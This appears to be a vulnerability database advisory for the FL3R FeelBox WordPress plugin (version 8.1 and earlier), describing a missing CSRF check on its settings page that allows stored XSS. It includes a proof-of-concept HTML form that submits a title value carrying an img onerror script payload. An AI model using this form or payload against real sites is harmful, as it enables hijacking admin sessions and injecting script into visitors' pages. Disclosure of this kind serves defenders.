FL3R FeelBox <= 8.1 - Settings Update via CSRF to Stored XSS

2023-01-0400:00:00

wpvulndb

141

fl3r feelbox

csrf

stored xss

admin

form

html

example.com

EPSS

0.001

Percentile

34.7%

JSON

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in admin open a page containing the HTML code below

<form action="https://example.com/wp-admin/options-general.php?page=feelbox" method="POST">
    <input type="text" name="feelbox_submit_hidden" value="Y">
    <input type="text" name="fl3rfeelboxtitle" value='Do you like this post?"><img src onerror=alert(/XSS/)>'>
    <input type="submit" name="submit" value="submit">
</form>

EPSS

0.001

Percentile

34.7%

JSON

Related for WPEX-ID:307B0FE4-39DE-4FBB-8BB0-F7F15EC6EF52